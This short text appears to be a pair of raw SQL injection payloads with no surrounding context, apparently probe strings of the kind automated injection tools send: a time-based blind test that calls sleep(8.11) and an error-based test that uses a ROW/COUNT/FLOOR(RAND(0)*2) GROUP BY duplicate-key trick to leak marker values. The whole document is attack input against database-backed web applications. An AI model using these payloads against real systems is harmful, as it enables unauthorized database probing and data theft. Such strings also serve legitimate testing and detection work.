(select(0)from(select(sleep(8.11)))v)/,(SELECT 4282 FROM (SELECT ROW(4282,1666)>(SELECT COUNT(*),CONCAT(0x7171627871,(SELECT (ELT(4282=4282,1))),0x716b7a7071,FLOOR(RAND(0)*2))x FROM (SELECT 9834 UNION SELECT 9531 UNION SELECT 9043 UNION SELECT 7915)a GROUP BY x))s)